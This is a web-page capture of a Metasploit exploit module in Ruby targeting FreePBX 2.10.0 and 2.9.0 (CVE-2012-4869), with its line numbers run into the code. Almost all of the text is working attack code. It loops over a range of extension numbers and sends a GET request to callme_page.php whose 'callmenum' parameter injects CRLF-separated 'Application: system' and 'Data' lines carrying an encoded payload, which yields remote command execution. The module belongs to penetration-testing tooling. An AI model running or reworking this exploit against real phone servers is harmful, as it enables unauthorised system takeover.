Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/freepbx_callmenum.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',13'Description' => %q{14This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.15Due to the way callme_page.php handles the 'callmenum' parameter, it16is possible to inject code to the '$channel' variable in function17callme_startcall in order to gain remote code execution.1819Please note in order to use this module properly, you must know the20extension number, which can be enumerated or bruteforced, or you may21try some of the default extensions such as 0 or 200. Also, the call22has to be answered (or go to voice).2324Tested on both Elastix and FreePBX ISO image installs.25},26'Author' => [ 'muts','Martin Tschirsich' ],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2012-4869' ],31[ 'OSVDB', '80544' ],32[ 'EDB', '18649' ]33],34'Platform' => ['unix'],35'Arch' => ARCH_CMD,36'Privileged' => false,37'Payload' =>38{39'Space' => 1024,40'DisableNops' => true,41},42'Targets' =>43[44[ 'Automatic Target', { }]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2012-03-20'))4849register_options(50[51OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),52])53end5455def exploit56# Check range input57if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/58min = $1.to_i59max = $2.to_i60else61print_error("Please specify a range for option 'EXTENSION'")62return63end6465cmd = Rex::Text.uri_encode(payload.encoded)6667(min..max).each do |e|68connect69print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")70res = send_request_raw({71'method' => 'GET',72'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",73'version' => '1.0',74'vhost' => rhost75})76handler77disconnect78end79end80end81828384